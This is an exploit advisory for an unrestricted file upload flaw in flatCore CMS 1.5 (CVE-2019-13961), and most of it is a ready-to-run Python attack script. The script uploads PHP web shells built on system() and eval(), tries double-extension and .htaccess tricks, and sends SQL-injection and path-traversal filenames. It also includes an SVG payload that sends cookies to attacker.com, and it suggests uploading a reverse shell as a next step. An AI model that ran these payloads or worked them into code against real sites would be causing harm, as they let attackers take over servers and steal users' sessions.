=============================================================================================================================================
| # Title     : flatCore 1.5 Advanced File Upload Exploit                                                                                   |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://github.com/flatCore/flatCore-CMS/blob/main/acp/core/files.upload-script.php                                         |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/190428/ &	CVE-2019-13961

[+] Summary :  The upload script contains multiple critical vulnerabilities that can be chained together for complete system compromise. 
               The most urgent issues are the CSRF bypass and unrestricted file upload, which allow unauthenticated attackers to upload PHP shells and execute arbitrary code.

		  
[+]  POC : python poc.py

#!/usr/bin/env python3

import requests
import sys
import time
import random
import string
import os
from concurrent.futures import ThreadPoolExecutor

class FileUploadExploit:
    def __init__(self, target_url, session_cookie):
        self.target_url = target_url
        self.session_cookie = session_cookie
        self.headers = {
            'Cookie': f'PHPSESSID={session_cookie}',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        }
        self.successful_payloads = []
        
    def generate_random_string(self, length=8):
        """Generate random string for filenames"""
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
    
    def test_csrf_bypass(self):
        """Test CSRF token bypass by omitting token"""
        print("\n[+] Testing CSRF Token Bypass...")
        
        files = {
            'file': ('test.txt', 'CSRF test content', 'text/plain')
        }
        
        data = {
            'upload_destination': 'images',
            'upload_type': 'images',
            'unchanged': 'yes'
            # No csrf_token parameter
        }
        
        try:
            response = requests.post(
                self.target_url,
                headers=self.headers,
                files=files,
                data=data,
                timeout=15,
                allow_redirects=False
            )
            
            if response.status_code == 200:
                print("[✓] CSRF bypass successful (no token required)")
                return True
            else:
                print(f"[-] CSRF check may be active: {response.status_code}")
                return False
                
        except Exception as e:
            print(f"[-] Error testing CSRF: {e}")
            return False
    
    def directory_traversal_attack(self):
        """Test directory traversal in upload_destination parameter"""
        print("\n[+] Testing Directory Traversal...")
        
        traversal_payloads = [
            '../../../index.php',
            '../../../../etc/passwd',
            '../../../../../../../var/www/html',
            '..\\..\\..\\windows\\win.ini',
            '../' * 20 + 'etc/passwd',
            'images/../../../../tmp',
            '/absolute/path/to/target'
        ]
        
        vulnerable = False
        
        for payload in traversal_payloads:
            print(f"  Testing: {payload[:50]}...")
            
            files = {
                'file': ('traversal.txt', f'Traversal test: {payload}', 'text/plain')
            }
            
            data = {
                'upload_destination': payload,
                'upload_type': 'files',
                'unchanged': 'yes',
                'file_mode': 'overwrite'
            }
            
            try:
                response = requests.post(
                    self.target_url,
                    headers=self.headers,
                    files=files,
                    data=data,
                    timeout=10
                )
                
                # Check for unusual success
                if response.status_code == 200 and len(response.content) < 500:
                    print(f"[✓] Possible traversal: {payload}")
                    vulnerable = True
                    
            except requests.exceptions.Timeout:
                print(f"  [!] Timeout with payload: {payload}")
            except Exception as e:
                pass
        
        return vulnerable
    
    def upload_web_shells(self):
        """Upload various web shell types with different bypass techniques"""
        print("\n[+] Uploading Web Shells...")
        
        shells = [
            # Basic PHP shell
            {
                'name': 'shell.php',
                'content': """<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
if(isset($_POST['cmd'])) {
    system($_POST['cmd']);
}
echo "Web Shell Active";
?>""",
                'mime': 'text/php'
            },
            
            # Double extension
            {
                'name': 'shell.php.jpg',
                'content': """GIF89a
<?php
if(isset($_REQUEST['pass'])) {
    eval($_REQUEST['pass']);
}
?>""",
                'mime': 'image/jpeg'
            },
            
            # SVG with PHP
            {
                'name': 'malicious.svg',
                'content': """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<!--<?php echo shell_exec($_GET['c']); ?>-->
<rect width="300" height="100" style="fill:rgb(0,0,255);" />
<script>document.location='http://attacker.com/steal?c='+document.cookie;</script>
</svg>""",
                'mime': 'image/svg+xml'
            },
            
            # .htaccess to allow PHP execution
            {
                'name': '.htaccess',
                'content': """AddType application/x-httpd-php .jpg .png .gif
<FilesMatch "\.(jpg|png|gif)$">
SetHandler application/x-httpd-php
</FilesMatch>""",
                'mime': 'text/plain'
            },
            
            # PHP with null bytes (if PHP version < 5.3.4)
            {
                'name': 'shell.php%00.jpg',
                'content': '<?php phpinfo(); ?>',
                'mime': 'image/jpeg'
            }
        ]
        
        uploaded = []
        
        for shell in shells:
            print(f"  Attempting: {shell['name']}")
            
            files = {
                'file': (shell['name'], shell['content'], shell['mime'])
            }
            
            # Try different upload parameters
            upload_params = [
                {
                    'upload_destination': 'images',
                    'upload_type': 'images',
                    'unchanged': 'yes',
                    'file_mode': 'overwrite'
                },
                {
                    'upload_destination': 'files',
                    'upload_type': 'files',
                    'unchanged': 'yes',
                    'file_mode': 'overwrite'
                }
            ]
            
            for params in upload_params:
                try:
                    response = requests.post(
                        self.target_url,
                        headers=self.headers,
                        files=files,
                        data=params,
                        timeout=15
                    )
                    
                    if response.status_code == 200:
                        print(f"[✓] Uploaded: {shell['name']}")
                        uploaded.append({
                            'filename': shell['name'],
                            'params': params
                        })
                        break
                        
                except Exception as e:
                    print(f"  [-] Error: {e}")
        
        return uploaded
    
    def test_sql_injection(self):
        """Test SQL injection via filename or other parameters"""
        print("\n[+] Testing SQL Injection...")
        
        sql_payloads = [
            # Time-based SQLi
            "test' AND SLEEP(5)--.jpg",
            "test' OR BENCHMARK(5000000,MD5('test'))--.jpg",
            
            # Error-based SQLi
            "test' AND ExtractValue(1,CONCAT(0x5c,USER()))--.jpg",
            
            # Union-based (if we can see output)
            "test' UNION SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php'--.jpg"
        ]
        
        for payload in sql_payloads:
            print(f"  Testing: {payload}")
            
            files = {
                'file': (payload, 'SQLi test', 'image/jpeg')
            }
            
            data = {
                'upload_destination': 'images',
                'upload_type': 'images',
                'unchanged': 'yes'
            }
            
            try:
                start_time = time.time()
                response = requests.post(
                    self.target_url,
                    headers=self.headers,
                    files=files,
                    data=data,
                    timeout=30
                )
                elapsed = time.time() - start_time
                
                if elapsed > 5:
                    print(f"[✓] Time-based SQLi possible: {elapsed:.2f}s delay")
                    return True
                    
                if "SQL" in response.text or "syntax" in response.text.lower():
                    print("[✓] Error-based SQLi detected")
                    return True
                    
            except requests.exceptions.Timeout:
                print("[✓] Timeout - SQL injection successful")
                return True
            except Exception:
                pass
        
        return False
    
    def test_path_manipulation(self):
        """Test path manipulation in filename cleaning function"""
        print("\n[+] Testing Path Manipulation...")
        
        malicious_filenames = [
            "../../../shell.php",
            "....php",  # Becomes .php after cleaning
            "shell.php.",
            "shell.php ",
            "shell.php%0d%0a.jpg",
            ";ls -la;.jpg",
            "$(whoami).jpg"
        ]
        
        for filename in malicious_filenames:
            print(f"  Testing filename: {filename}")
            
            files = {
                'file': (filename, 'test', 'text/plain')
            }
            
            data = {
                'upload_destination': 'files',
                'upload_type': 'files',
                'unchanged': 'yes'
            }
            
            try:
                response = requests.post(
                    self.target_url,
                    headers=self.headers,
                    files=files,
                    data=data,
                    timeout=10
                )
                
                if response.status_code == 200:
                    print(f"[✓] Accepted filename: {filename}")
                    
            except Exception:
                pass
    
    def test_file_size_limit_bypass(self):
        """Test file size limit bypass"""
        print("\n[+] Testing File Size Limit Bypass...")
        
        # Create a large file
        large_content = "A" * (1024 * 1024 * 100)  # 100MB
        
        files = {
            'file': ('large_file.txt', large_content, 'text/plain')
        }
        
        data = {
            'upload_destination': 'files',
            'upload_type': 'files',
            'unchanged': 'yes',
            'fz': '999999999'  # Set huge file size limit
        }
        
        try:
            print("  Uploading 100MB file...")
            response = requests.post(
                self.target_url,
                headers=self.headers,
                files=files,
                data=data,
                timeout=60
            )
            
            if response.status_code == 200:
                print("[✓] Large file upload possible")
                return True
                
        except Exception as e:
            print(f"  [-] Error: {e}")
        
        return False
    
    def brute_force_upload_locations(self):
        """Brute force potential upload locations"""
        print("\n[+] Brute Forcing Upload Locations...")
        
        common_locations = [
            'images',
            'files',
            'uploads',
            'upload',
            'media',
            'content',
            'img',
            'pictures',
            'docs',
            'assets',
            'tmp',
            'temp',
            'cache'
        ]
        
        found_locations = []
        
        for location in common_locations:
            files = {
                'file': ('test.txt', 'test', 'text/plain')
            }
            
            data = {
                'upload_destination': location,
                'upload_type': 'files',
                'unchanged': 'yes'
            }
            
            try:
                response = requests.post(
                    self.target_url,
                    headers=self.headers,
                    files=files,
                    data=data,
                    timeout=10
                )
                
                if response.status_code == 200:
                    print(f"[✓] Found location: {location}")
                    found_locations.append(location)
                    
            except Exception:
                pass
        
        return found_locations
    
    def verify_shell_access(self, uploaded_shells, base_url):
        """Verify if uploaded shells are accessible"""
        print("\n[+] Verifying Shell Access...")
        
        accessible = []
        
        # Try common paths
        test_paths = [
            f"{base_url}/content/images/",
            f"{base_url}/content/files/",
            f"{base_url}/images/",
            f"{base_url}/files/",
            f"{base_url}/uploads/",
            f"{base_url}/../content/images/"
        ]
        
        for shell in uploaded_shells:
            for path in test_paths:
                shell_url = f"{path}{shell['filename']}"
                
                try:
                    # Test PHP shell
                    if shell['filename'].endswith('.php'):
                        test_url = f"{shell_url}?cmd=echo+SUCCESS"
                        response = requests.get(test_url, timeout=10)
                        
                        if "SUCCESS" in response.text or "Web Shell Active" in response.text:
                            print(f"[✓] Shell accessible: {shell_url}")
                            accessible.append(shell_url)
                            break
                    
                    # Test file existence
                    else:
                        response = requests.head(shell_url, timeout=10)
                        if response.status_code == 200:
                            print(f"[✓] File accessible: {shell_url}")
                            accessible.append(shell_url)
                            break
                            
                except Exception:
                    pass
        
        return accessible
    
    def run_full_exploit(self):
        """Run all exploitation techniques"""
        print(f"[*] Starting comprehensive attack on: {self.target_url}")
        print(f"[*] Using session cookie: {self.session_cookie[:20]}...\n")
        
        results = {
            'csrf_bypass': False,
            'directory_traversal': False,
            'sql_injection': False,
            'file_size_bypass': False,
            'uploaded_shells': [],
            'found_locations': [],
            'accessible_shells': []
        }
        
        # Run tests
        results['csrf_bypass'] = self.test_csrf_bypass()
        results['directory_traversal'] = self.directory_traversal_attack()
        results['sql_injection'] = self.test_sql_injection()
        results['file_size_bypass'] = self.test_file_size_limit_bypass()
        results['found_locations'] = self.brute_force_upload_locations()
        self.test_path_manipulation()
        
        # Upload shells
        results['uploaded_shells'] = self.upload_web_shells()
        
        # Extract base URL for verification
        base_url = self.target_url[:self.target_url.rfind('/')]
        base_url = base_url[:base_url.rfind('/')]
        
        # Verify access
        results['accessible_shells'] = self.verify_shell_access(
            results['uploaded_shells'], 
            base_url
        )
        
        # Print summary
        print("\n" + "="*60)
        print("[+] EXPLOITATION SUMMARY")
        print("="*60)
        
        for key, value in results.items():
            if isinstance(value, list):
                print(f"{key.replace('_', ' ').title()}: {len(value)} found")
                if value and key in ['uploaded_shells', 'accessible_shells']:
                    for item in value[:3]:  # Show first 3
                        print(f"  - {item}")
            else:
                status = "✓" if value else "✗"
                print(f"{status} {key.replace('_', ' ').title()}")
        
        print("\n[+] Recommended next steps:")
        if results['accessible_shells']:
            print("  1. Execute commands via: shell.php?cmd=whoami")
            print("  2. Upload more advanced reverse shell")
            print("  3. Explore file system: ?cmd=ls+-la")
        else:
            print("  1. Try different upload parameters")
            print("  2. Check server logs for errors")
            print("  3. Use directory traversal to find upload location")
        
        return results

def main():
    if len(sys.argv) < 3:
        print("Usage: python exploit.py <target_url> <session_cookie>")
        print("Example: python exploit.py http://target.com/admin/upload.php abc123session456")
        sys.exit(1)
    
    target_url = sys.argv[1]
    session_cookie = sys.argv[2]
    
    exploit = FileUploadExploit(target_url, session_cookie)
    results = exploit.run_full_exploit()
    
    # Save results to file
    with open('exploit_results.txt', 'w') as f:
        import json
        f.write(json.dumps(results, indent=2))
    
    print("\n[*] Results saved to exploit_results.txt")

if __name__ == "__main__":
    main()
	
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================